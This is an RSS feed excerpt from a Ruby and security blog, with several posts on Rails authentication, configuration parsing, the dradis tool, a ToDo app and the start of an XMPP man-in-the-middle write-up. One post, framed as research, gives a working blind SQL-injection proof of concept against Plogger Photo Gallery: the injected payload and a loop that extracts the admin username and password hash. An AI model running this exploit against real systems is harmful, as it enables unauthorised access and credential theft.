<h3>Fine tune</h3>
<p>So here we are all set with the authentication framework in place. From here on it is about customization and fine tunning. Note that the <em>activation email</em> feature requires an either an email server running on the same box or some ActionMailer configuration in order for it to work.</p>
<p>In the second part of this series we will go back to our basic need: get rid of the <strong>login</strong> field (we only need an email). <del>This and other tweaks will be demonstrated in a tiny app that fully implements the concepts explained here.</del> Part 2 is here! <a href="/ruby/restful_authentication-howto-step-by-step-part-2">restful_authentication howto, step-by-step (part 2)</a>.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=51&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/restful_authentication-step-by-step-part-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ruby application configuration settings</title>
		<link>http://weblog.nomejortu.com/ruby/ruby-application-configuration-settings</link>
		<comments>http://weblog.nomejortu.com/ruby/ruby-application-configuration-settings#comments</comments>
		<pubDate>Thu, 17 Apr 2008 09:53:46 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=48</guid>
		<description><![CDATA[In this article I want to discuss a way of storing and retrieving the configuration settings of a ruby application. The first thing you need to decide is whether you want to store your settings in a database, a XML file, a YAML,&#8230; 
Since this is not an easy choice we can mitigate the impact [...]]]></description>
			<content:encoded><![CDATA[<p>In this article I want to discuss a way of storing and retrieving the configuration settings of a ruby application. The first thing you need to decide is whether you want to store your settings in a database, a XML file, a YAML,&#8230; </p>
<p>Since this is not an easy choice we can mitigate the impact of making the decision upfront by doing some interface based design.</p>
<p><span id="more-48"></span></p>
<p>I am going to use <a href="http://dradis.nomejortu.com/">dradis</a> as an example, but the code and philosophy are project independent.</p>
<p>First we put an interface together with all the methods that our configuration handling implementation will require. The <code>ParserInterface</code> should be implemented by all the different configuration parsers (xml, yaml, etc.). The idea is that the application and it&#8217;s modules will only access methods defined in this interface:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">module </span><span class="hl-identifier">ParserInterface
  </span><span class="hl-comment"># Given an option name (as a symbol) this function 
  # retrieves the value stored in the configuration 
  # file for it.
  </span><span class="hl-reserved">def </span><span class="hl-identifier">get_option</span><span class="hl-brackets">(</span><span class="hl-identifier">key</span><span class="hl-brackets">)  
    </span><span class="hl-identifier">raise </span><span class="hl-quotes">'</span><span class="hl-string">unimplemented!</span><span class="hl-quotes">'
  </span><span class="hl-reserved">end

  </span><span class="hl-comment"># Store the given +value+ under the +key+ in the config 
  # provider.
  </span><span class="hl-reserved">def </span><span class="hl-identifier">put_option</span><span class="hl-brackets">(</span><span class="hl-identifier">key</span><span class="hl-code">, </span><span class="hl-identifier">value</span><span class="hl-brackets">)
    </span><span class="hl-identifier">raise </span><span class="hl-quotes">'</span><span class="hl-string">unimplemented!</span><span class="hl-quotes">'
  </span><span class="hl-reserved">end
      
  </span><span class="hl-comment"># Store the configuration settings in the backend 
  # provider.
  </span><span class="hl-reserved">def </span><span class="hl-identifier">save
    raise </span><span class="hl-quotes">'</span><span class="hl-string">unimplemented!</span><span class="hl-quotes">'
  </span><span class="hl-reserved">end
end</span></pre></div></div>
<p>We have defined methods for storing, retrieving and saving the configuration. It is true that the <code>save</code> may not be necessary if the implementation stores information in, for example, a database, however the advantage of having this method is that we are allowing our implementation to have a cached copy of the configuration settings in memory and only write them to the backend once the <code>save</code> method is called.</p>
<p>Ruby does not have native support for interfaces, this is why the <code>ParserInterface</code> is a ruby <strong>module</strong> and only defines methods that <a href="http://www.ruby-doc.org/docs/ProgrammingRuby/html/ref_m_kernel.html#Kernel.raise">raise</a> exceptions. We will include this module in our implementations, in doing so, the implementing classes will respond to the <code>get_option</code>, <code>put_option</code> and <code>save</code> methods straight away, but if the application calls any of them an exception will be thrown unless a valid implementation has been provided.</p>
<p>For <a href="http://dradis.nomejortu.com/">dradis</a> we are using an XML file as the backend configuration storage. The <a href="http://dradis.nomejortu.com/rdoc/classes/Core/Config/XMLParser.html">XMLParser</a> class. The full contents on the file can be accessed through the subversion repository in: <a href="http://dradis.svn.sourceforge.net/viewvc/dradis/client/branches/orko2.0-etd/core/config.rb?view=markup">/dradis/client/branches/orko2.0-etd/core/config.rb</a>. I have included below the interesting bits and pieces:-</p>
<div class="hl-surround" style="height:280px;"><div class="hl-main"><pre><span class="hl-comment"># to handle the XML part of it
</span><span class="hl-reserved">require </span><span class="hl-quotes">'</span><span class="hl-string">rexml/document</span><span class="hl-quotes">'

</span><span class="hl-reserved">class </span><span class="hl-identifier">XMLParser
  </span><span class="hl-comment"># include the interface
  </span><span class="hl-identifier">include ParserInterface

</span><span class="hl-comment">#[...]

# copy from the file into a hash in memory (initialize)
    </span><span class="hl-var">@src</span><span class="hl-default"> = </span><span class="hl-identifier">REXML</span><span class="hl-default">::</span><span class="hl-identifier">Document</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-identifier">File</span><span class="hl-code">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">@file</span><span class="hl-brackets">))
    </span><span class="hl-var">@options</span><span class="hl-default"> = {}
    </span><span class="hl-var">@src</span><span class="hl-default">.</span><span class="hl-identifier">elements</span><span class="hl-default">.</span><span class="hl-identifier">each</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string">dradis/option</span><span class="hl-quotes">'</span><span class="hl-brackets">) </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">element</span><span class="hl-default">|
      </span><span class="hl-var">@options</span><span class="hl-brackets">[</span><span class="hl-identifier">element</span><span class="hl-code">.</span><span class="hl-identifier">attributes</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">name</span><span class="hl-quotes">'</span><span class="hl-brackets">]</span><span class="hl-code">.</span><span class="hl-identifier">to_sym</span><span class="hl-brackets">]</span><span class="hl-default"> = </span><span class="hl-identifier">element</span><span class="hl-default">.</span><span class="hl-identifier">attributes</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">value</span><span class="hl-quotes">'</span><span class="hl-brackets">]
    </span><span class="hl-reserved">end

</span><span class="hl-comment"># get_option and put_option are straightforward

# [...]

  </span><span class="hl-reserved">def </span><span class="hl-identifier">save
    </span><span class="hl-comment"># if no change has been made to the configuration, do 
    # not bother overwriting the file
    </span><span class="hl-reserved">return unless </span><span class="hl-var">@modified
    @options</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">name</span><span class="hl-default">, </span><span class="hl-identifier">value</span><span class="hl-default">|
      </span><span class="hl-identifier">elements</span><span class="hl-default"> = </span><span class="hl-var">@src</span><span class="hl-default">.</span><span class="hl-identifier">get_elements</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">dradis/option[@name='#{name}']</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)
      </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">elements</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code">.</span><span class="hl-identifier">zero</span><span class="hl-code">?</span><span class="hl-brackets">)
        </span><span class="hl-comment"># a new element needs to be created
        </span><span class="hl-var">@src</span><span class="hl-default">.</span><span class="hl-identifier">root</span><span class="hl-default">.</span><span class="hl-identifier">add_element</span><span class="hl-brackets">( </span><span class="hl-quotes">'</span><span class="hl-string">option</span><span class="hl-quotes">'</span><span class="hl-code">, { </span><span class="hl-quotes">'</span><span class="hl-string">name</span><span class="hl-quotes">'</span><span class="hl-code"> =&gt; </span><span class="hl-identifier">name</span><span class="hl-code">, </span><span class="hl-quotes">'</span><span class="hl-string">value</span><span class="hl-quotes">'</span><span class="hl-code"> =&gt; </span><span class="hl-identifier">value</span><span class="hl-code">}</span><span class="hl-brackets">)
      </span><span class="hl-reserved">else
        </span><span class="hl-comment"># update the existing element
        </span><span class="hl-identifier">elements</span><span class="hl-default">.</span><span class="hl-identifier">first</span><span class="hl-default">.</span><span class="hl-identifier">attributes</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">value</span><span class="hl-quotes">'</span><span class="hl-brackets">]</span><span class="hl-default"> = </span><span class="hl-identifier">value
      </span><span class="hl-reserved">end
    end

    </span><span class="hl-comment"># use the Pretty formater to indent the file :)  
    </span><span class="hl-identifier">fmt</span><span class="hl-default"> = </span><span class="hl-identifier">REXML</span><span class="hl-default">::</span><span class="hl-identifier">Formatters</span><span class="hl-default">::</span><span class="hl-identifier">Pretty</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-number">2</span><span class="hl-brackets">)
    </span><span class="hl-identifier">fmt</span><span class="hl-default">.</span><span class="hl-identifier">write</span><span class="hl-brackets">( </span><span class="hl-var">@src</span><span class="hl-code">, </span><span class="hl-identifier">File</span><span class="hl-code">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">@file</span><span class="hl-code">, </span><span class="hl-quotes">'</span><span class="hl-string">w</span><span class="hl-quotes">'</span><span class="hl-brackets">) )
  </span><span class="hl-reserved">end

</span><span class="hl-comment"># [...]
</span><span class="hl-reserved">end </span><span class="hl-comment"># class</span></pre></div></div>
<p>The only performance trick that I am using is the <code>@modified</code> variable that flags whether a change has been made to the configuration settings during the current session or not. If no change was made, there is no need to dump the <code>@options</code> hash back into the file.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=48&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/ruby-application-configuration-settings/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dradis v1.1 is out</title>
		<link>http://weblog.nomejortu.com/ruby/dradis-v11-is-out</link>
		<comments>http://weblog.nomejortu.com/ruby/dradis-v11-is-out#comments</comments>
		<pubDate>Fri, 07 Mar 2008 17:07:19 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=43</guid>
		<description><![CDATA[A new version of dradis, the information sharing tool for security teams, was released on the 29th of February. Some major changes were introduced from the first release back on December:-

New client GUI that runs in Linux, Windows and Mac OS (screenshots).
New web interface.
Improved step-by-step installation instructions.
New contributed modules:

Export your Knowledge Base to an XML [...]]]></description>
			<content:encoded><![CDATA[<p>A new version of <a href="http://dradis.nomejortu.com/">dradis</a>, the information sharing tool for security teams, was released on the 29<sup>th</sup> of February. Some major changes were introduced from the <a href="http://weblog.nomejortu.com/?p=33">first release</a> back on December:-</p>
<ul>
<li>New client GUI that runs in Linux, Windows and Mac OS (<a href="http://dradis.nomejortu.com/screenshots.html">screenshots</a>).</li>
<li>New web interface.</li>
<li>Improved step-by-step installation instructions.</li>
<li>New contributed modules:
<ul>
<li>Export your <em>Knowledge Base</em> to an XML file.</li>
<li>run <a href="http://nmap.org/">nmap</a> from <strong>dradis</strong> and store the results in the knowledge base.</li>
</ul>
</li>
</ul>
<p>If you want to give it a try, go to the <a href="http://dradis.nomejortu.com/download.html">download</a> page. And please let me know any thoughts or feedback (remember that you can use the dradis development mailing list: <a href="https://lists.sourceforge.net/lists/listinfo/dradis-devel">dradis-devel</a>).<br />
<span id="more-43"></span></p>
<h3>New client GUI</h3>
<p>It was too difficult to get the Qt interface running in Windows and Mac platforms, so we have decided to create a new graphical interface, this time truly multi-platform using the <a href="http://www.wxwidgets.org/">WxWdiget</a> toolkit (and the ruby bindings for the toolkit: <a href="http://wxruby.rubyforge.org/">wxruby</a>). </p>
<p>It runs seamlessly in Linux, Windows and Mac OS. Here are some screenshots:-</p>
<p><img src="/data/img/client_v1.1_02_blog.png" width="436" height="238"/></p>
<p><img src="/data/img/client_v1.1_05_blog.png" width="436" height="377"/></p>
<p>If you want to see more, visit the <a href="http://dradis.nomejortu.com/screenshots.html">screenshots</a> page.</p>
<h3>New web interface.</h3>
<p>Because we were struggling to get the old interface running in anything different than Linux, we thought that in order to make the platform more <strong>flexible</strong> and <strong>portable</strong> a new web interface should be created.</p>
<p>We took the old one apart and started a brand new dynamic web interface that would enable the testers to use <strong>dradis</strong> as if they had a thick client installed. The <a href="http://dradis.nomejortu.com/screenshots.html">screenshots</a> page will give you a grasp of its power.</p>
<h3>New contributed modules</h3>
<p>Some new amazing plugins contributed by the <strong>dradis</strong> community were released with version v1.1:-</p>
<ul>
<li>Export your <em>Knowledge Base</em> to an XML file.</li>
<li>run <a href="http://nmap.org/">nmap</a> from <strong>dradis</strong> and store the results in the knowledge base.</li>
</ul>
<p>Find these and other modules in the <a href="http://dradis.nomejortu.com/contribute.html">discuss &amp; contribute</a> section.</p>
<p>There is also a new set of slides by Sibert Lubbe on <em>&#8220;<strong>dradis</strong> plugin programming&#8221;</em>. Find them in the <em>developer manual</em> section of the <a href="http://dradis.nomejortu.com/documentation.html">documentation</a> page.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=43&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/dradis-v11-is-out/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sql injection: inference attack (part 2)</title>
		<link>http://weblog.nomejortu.com/ruby/sql-injection-inference-attack-part-2</link>
		<comments>http://weblog.nomejortu.com/ruby/sql-injection-inference-attack-part-2#comments</comments>
		<pubDate>Sun, 27 Jan 2008 10:31:36 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=36</guid>
		<description><![CDATA[In the previous article of this series (sql injection: inference attack) we saw an in introduction to the concept of SQL inference attacks. On security advisory: Plogger Photo Gallery SQL Injection we saw that the Plogger Photo Gallery SQL injection vulnerability was an ideal scenario to study SQL inference attacks.
Now it&#8217;s time to see a [...]]]></description>
			<content:encoded><![CDATA[<p>In the previous article of this series (<a href="/security/sql-injection-inference-attack">sql injection: inference attack</a>) we saw an in introduction to the concept of SQL inference attacks. On <a href="/security/security-advisory-plogger-photo-gallery-sql-injection">security advisory: Plogger Photo Gallery SQL Injection</a> we saw that the <a href="http://www.plogger.org/">Plogger Photo Gallery</a> SQL injection vulnerability was an ideal scenario to study SQL inference attacks.</p>
<p>Now it&#8217;s time to see a hands on example on how to exploit a SQL injection vulnerability using this technique. Please note that the intended audience of this article are security researchers that want to gain a deeper knowledge on the nature and internals of SQL inference attacks.<br />
<span id="more-36"></span><br />
As it is usually the case, depending on the available information beforehand the SQL inference attack that we need to create will vary on its sophistication.</p>
<p>In the Plogger example we have plenty of information, remember that it is and open source tool that you can download and install. However, since SQL inference is a complex vulnerability to exploit a stripped down version of the attack is used in this example. </p>
<p>In the Plogger example we know the underlaying database structure, the field names and the possible values, we will use that knowledge to create a simplified SQL inference attack based on some restrictions. A full blown example of inference attack using binary comparisons is left for the third part of this series of articles.</p>
<p>Let&#8217;s have a look at the interesting bits of <a href="/data/code/ruby/plogger_inference.rb">the code</a> of a proof of concept:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># configure the parameters of the target system
</span><span class="hl-var">$host</span><span class="hl-default"> = </span><span class="hl-quotes">'</span><span class="hl-string">localhost</span><span class="hl-quotes">'
</span><span class="hl-var">$path</span><span class="hl-default"> = </span><span class="hl-quotes">'</span><span class="hl-string">/gallery/plog-rss.php?level=collection&amp;id=1</span><span class="hl-quotes">'

</span><span class="hl-var">$body_size_success</span><span class="hl-default"> = </span><span class="hl-number">967
</span><span class="hl-var">$body_size_failure</span><span class="hl-default"> = </span><span class="hl-number">322

</span><span class="hl-comment"># configure the parameters of the fields whose values we want to infer
</span><span class="hl-var">$fields</span><span class="hl-default"> = </span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">admin_username</span><span class="hl-quotes">'</span><span class="hl-code">, </span><span class="hl-quotes">'</span><span class="hl-string">admin_password</span><span class="hl-quotes">'</span><span class="hl-brackets">]
</span><span class="hl-var">$field_length</span><span class="hl-default"> = </span><span class="hl-brackets">[</span><span class="hl-number">5</span><span class="hl-code">, </span><span class="hl-number">32</span><span class="hl-brackets">]
</span><span class="hl-var">$dictionaries</span><span class="hl-default"> = </span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">admin</span><span class="hl-quotes">'</span><span class="hl-code">, </span><span class="hl-quotes">'</span><span class="hl-string">0123456789abcdef</span><span class="hl-quotes">'</span><span class="hl-brackets">]</span></pre></div></div>
<p>The first part of the script contains the configuration information regarding our target. Apart from host name and path to the vulnerable script we define two other sets of information:</p>
<ul>
<li>The <code>$body_size_success</code> needs to be adjusted to match the expected length of a full RSS feed, this is the expected size of the HTML code that a clean execution of the injected SQL will return. This size can be measured by doing a legitimate request to the vulnerable script and noting down the value of the <code>content-length</code> header. Our injected SQL can have two possible outcomes, if we correctly guessed the value we are looking for, an <acronym title="Rich Site Summary">RSS</acronym> feed containing all the elements of the collection will be returned. If on the other hand we make a mistake in our guess, an empty, although syntactically correct, RSS feed will be returned.</li>
<li>Information on the names, expected lengths and possible values found in the fields we want to infer should be provided. As mentioned before, we are taking advantage of the knowledge we have of the back end database:
<ul>
<li>We will try to infer two fields: <code>admin_username</code> and <code>admin_password</code>.</li>
<li>We expect these fields to be of lengths 5 (Ploggers&#8217; default administrative user name is <strong>admin</strong>) and 32 (the password is stored in <acronym title="Message Digest 5">MD5</acronym> hashed format).</li>
<li>We will try the following dictionary for the username: <code>a, d, m, i, n</code> <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  . For the password, all possible Hex values are fair play: <code>0-9, a-f</code>.</li>
</ul>
</li>
</ul>
<p>The next thing to do is to craft a custom SQL query that will execute cleanly:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># define the SQL string we will be using to actually perform the attack
</span><span class="hl-var">$sql</span><span class="hl-default"> = </span><span class="hl-identifier">CGI</span><span class="hl-default">::</span><span class="hl-identifier">escape</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string"> AND 1=(SELECT CASE WHEN (ASCII(SUBSTR(FIELD,POSITION,1))=TEST_VALUE) THEN 1 ELSE 0 END FROM plogger_config)</span><span class="hl-quotes">'</span><span class="hl-brackets">)</span></pre></div></div>
<p>As mentioned in the first article (<a href="/security/sql-injection-inference-attack">sql injection: inference attack</a>) of this series:</p>
<blockquote><p>
At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z.
</p></blockquote>
<p>In this case we are using the <code>SUBSTR</code> function to walk through the different positions of a given field to compare the character at that position with the one at <code>TEST_VALUE</code>. This is done in the following section of the script:-</p>
<div class="hl-surround" style="height:280px;"><div class="hl-main"><pre><span class="hl-comment"># for each field, from position 1 to that defined in $field_length, iterate
# through the different values of our dictionary and send the SQL query.
</span><span class="hl-var">$fields</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">field</span><span class="hl-default">|
  </span><span class="hl-identifier">dict</span><span class="hl-default"> = </span><span class="hl-var">$dictionaries</span><span class="hl-default">.</span><span class="hl-identifier">shift
  size</span><span class="hl-default"> = </span><span class="hl-var">$field_length</span><span class="hl-default">.</span><span class="hl-identifier">shift
  inferred</span><span class="hl-default"> = </span><span class="hl-quotes">''
  </span><span class="hl-identifier">puts </span><span class="hl-quotes">&quot;</span><span class="hl-string">Inferring #{field}</span><span class="hl-quotes">&quot;
  </span><span class="hl-identifier">puts </span><span class="hl-quotes">'</span><span class="hl-string">==================</span><span class="hl-quotes">'
  </span><span class="hl-identifier">sql1</span><span class="hl-default"> = </span><span class="hl-var">$sql</span><span class="hl-default">.</span><span class="hl-identifier">sub</span><span class="hl-brackets">(</span><span class="hl-quotes">/</span><span class="hl-string">FIELD</span><span class="hl-quotes">/</span><span class="hl-code">,</span><span class="hl-identifier">field</span><span class="hl-brackets">)
  (</span><span class="hl-number">1.</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">i</span><span class="hl-default">|
    </span><span class="hl-identifier">print </span><span class="hl-quotes">&quot;</span><span class="hl-special">\t</span><span class="hl-string">Position #{i}: </span><span class="hl-quotes">&quot;
    </span><span class="hl-identifier">sql</span><span class="hl-default"> = </span><span class="hl-identifier">sql1</span><span class="hl-default">.</span><span class="hl-identifier">sub</span><span class="hl-brackets">(</span><span class="hl-quotes">/</span><span class="hl-string">POSITION</span><span class="hl-quotes">/</span><span class="hl-code">,</span><span class="hl-identifier">i</span><span class="hl-code">.</span><span class="hl-identifier">to_s</span><span class="hl-brackets">)
    (</span><span class="hl-number">0.</span><span class="hl-code">.</span><span class="hl-brackets">(</span><span class="hl-identifier">dict</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code">-</span><span class="hl-number">1</span><span class="hl-brackets">))</span><span class="hl-default">.</span><span class="hl-identifier">each </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">j</span><span class="hl-default">|
      </span><span class="hl-identifier">value</span><span class="hl-default"> = </span><span class="hl-identifier">dict</span><span class="hl-brackets">[</span><span class="hl-identifier">j</span><span class="hl-brackets">]
      </span><span class="hl-identifier">resp</span><span class="hl-default"> = </span><span class="hl-identifier">http</span><span class="hl-default">.</span><span class="hl-identifier">get</span><span class="hl-brackets">(</span><span class="hl-var">$path</span><span class="hl-code"> + </span><span class="hl-identifier">sql</span><span class="hl-code">.</span><span class="hl-identifier">sub</span><span class="hl-brackets">(</span><span class="hl-quotes">/</span><span class="hl-string">TEST_VALUE</span><span class="hl-quotes">/</span><span class="hl-code">, </span><span class="hl-identifier">value</span><span class="hl-code">.</span><span class="hl-identifier">to_s</span><span class="hl-brackets">))

      </span><span class="hl-comment"># a particular iteration is successful if the size of the body obtained
      # matches the value we expect
      </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">resp</span><span class="hl-code">.</span><span class="hl-identifier">body</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code"> == </span><span class="hl-var">$body_size_success</span><span class="hl-brackets">)
        </span><span class="hl-identifier">puts value</span><span class="hl-default">.</span><span class="hl-identifier">chr
        inferred</span><span class="hl-default"> &lt;&lt; </span><span class="hl-identifier">value</span><span class="hl-default">.</span><span class="hl-identifier">chr
        </span><span class="hl-reserved">break
      end
    end
  end
  </span><span class="hl-identifier">puts </span><span class="hl-quotes">&quot;</span><span class="hl-special">\t</span><span class="hl-string">Inferred value: #{inferred}</span><span class="hl-quotes">&quot;
  </span><span class="hl-var">$results</span><span class="hl-default"> &lt;&lt; </span><span class="hl-identifier">inferred
</span><span class="hl-reserved">end</span></pre></div></div>
<p>The comments in the previous code should give sufficient insight to understand the process. The bottom line: we need to make a series of checks for each position of the value we want to infer. Thes checks have two possible different outcomes, in our case, two different lengths of the HTML code, depending on these outcomes we can infer whether our guess was right or wrong.</p>
<p>As a final note, it should be clear that the specifics of the SQL query, as with any SQL injection attack, is highly dependant on the SQL engine that we are attacking and the SQL functions available in this engine.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=36&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/sql-injection-inference-attack-part-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ruby ToDo list</title>
		<link>http://weblog.nomejortu.com/ruby/ruby-todo-list</link>
		<comments>http://weblog.nomejortu.com/ruby/ruby-todo-list#comments</comments>
		<pubDate>Thu, 24 Jan 2008 14:42:27 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=40</guid>
		<description><![CDATA[I have created a small Ruby on Rails application to keep track of my personal &#8220;ToDo&#8221; list of tasks. The idea is to split your different tasks into categories (i.e. important &#038; urgent, no important &#038; urgent, etc.) and have a web front end in which you can get a nice view of your pending [...]]]></description>
			<content:encoded><![CDATA[<p>I have created a small <a href="http://www.rubyonrails.org/">Ruby on Rails</a> application to keep track of my personal &#8220;ToDo&#8221; list of tasks. The idea is to split your different tasks into categories (i.e. important &#038; urgent, no important &#038; urgent, etc.) and have a web front end in which you can get a nice view of your pending tasks.<br />
<span id="more-40"></span><br />
<a href="/data/code/ruby/todo.tar.bz2">The code</a> is under 1 MB and it <a href="http://wiki.rubyonrails.org/rails/pages/HowtoUseSQLite">works cool with sqlite3</a>. To run the application, go to the folder you uncompressed the file and issue the following command:-</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>$ ./script/server</pre></div></div>
<p>Open a browser and access: <a href="http://localhost:3000/">http://localhost:3000/</a>.</p>
<p>The database provided contains some default categories and tasks. To remove them just go to the application directory and execute the following:</p>
<div class="hl-surround" ><div class="hl-main"><pre>$ ./script/console
&gt;&gt; Task.find(:all).each do |task| task.destroy end
&gt;&gt; Category.find(:all).each do |category| category.destroy end</pre></div></div>
<p>This will clear the database (note that you can also accomplish the same using the <code>rake db:migrate</code> command, however, that is another story <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ). Then you need to add your own categories. Beware that the <acronym title="Cascading Style Sheets">CSS</acronym> file is prepared for up to 4 categories. Support for more could be easily added and is left as an exercise <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . to add you own categories:</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>Category.add</pre></div></div>
<p>Please note, that no special security measures have been implemented (SQL injection or XSS prevention). <strong>The tool is recommended to be used only in <em>safe</em> environments.</strong> <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=40&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/ruby-todo-list/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ruby workshop: the way of the Qt samurai</title>
		<link>http://weblog.nomejortu.com/x-windows/ruby-workshop-the-way-of-the-qt-samurai</link>
		<comments>http://weblog.nomejortu.com/x-windows/ruby-workshop-the-way-of-the-qt-samurai#comments</comments>
		<pubDate>Mon, 17 Dec 2007 16:23:56 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[X Windows]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=31</guid>
		<description><![CDATA[As a side result of my work with dradis during the last months, I&#8217;ve been working on some technical sessions that will be grouped in what could be called a &#8220;ruby workshop&#8221;. The first of this sessions is on ruby + Qt programming and is available now.

Slides can be found here.
Source and examples: here.

]]></description>
			<content:encoded><![CDATA[<p>As a side result of my work with <a href="http://dradis.nomejortu.com/">dradis</a> during the last months, I&#8217;ve been working on some technical sessions that will be grouped in what could be called a &#8220;ruby workshop&#8221;. The first of this sessions is on ruby + Qt programming and is available now.</p>
<ul>
<li>Slides can be found <a href="/data/files/qtsamurai-slides.pdf">here</a>.</li>
<li>Source and examples: <a href="/data/files/qtsamurai-code.tar.bz2">here</a>.</li>
</ul>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=31&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/x-windows/ruby-workshop-the-way-of-the-qt-samurai/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>xmitm: xml man in the middle</title>
		<link>http://weblog.nomejortu.com/shell-script/xml-man-in-the-middle-xmitm</link>
		<comments>http://weblog.nomejortu.com/shell-script/xml-man-in-the-middle-xmitm#comments</comments>
		<pubDate>Sun, 16 Dec 2007 20:47:05 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Script]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=38</guid>
		<description><![CDATA[This post is a result of ideas and tools developed during the review of  client-side applications that use the XMPP protocol to communicate with a server (opening a raw socket, not using HTTP as a transport).
The only way we could think of getting our hands on the communication was to write a small set [...]]]></description>
			<content:encoded><![CDATA[<p>This post is a result of ideas and tools developed during the review of  client-side applications that use the <a href="http://www.xmpp.org/">XMPP</a> protocol to communicate with a server (opening a raw socket, not using HTTP as a transport).</p>
<p>The only way we could think of getting our hands on the communication was to write a small set of scripts to trick the client and encapsulate the communication inside HTTP requests that we could then manipulate using standard proxy tools such as <a href="http://www.portswigger.net/suite/">burp</a>.</p>
<p>Although the information and scripts described in this post are focussed on intercepting a XML communication, the same principles apply to man in the middle any ASCII protocol such as smtp, ftp or pop.</p>
<p><strong>update</strong>: slides available <a href="/data/files/xmitm-slides_2008-02-07.pdf">here</a><br />
<span id="more-38"></span></p>
<p>The first step is to trick the client to connect to our local box instead of connecting to the remote server, this is done by adjusting the <a href="http://en.wikipedia.org/wiki/Hosts_file">hosts file</a>.</p>
<p><center><img src="/data/img/xmitm_01.jpg" height="329" width="320" alt="Standard flow of communication"/></center></p>
<p>A ruby script will sit in the middle of the communication and will be able to intercept and modify messages sent and received by the client:- </p>
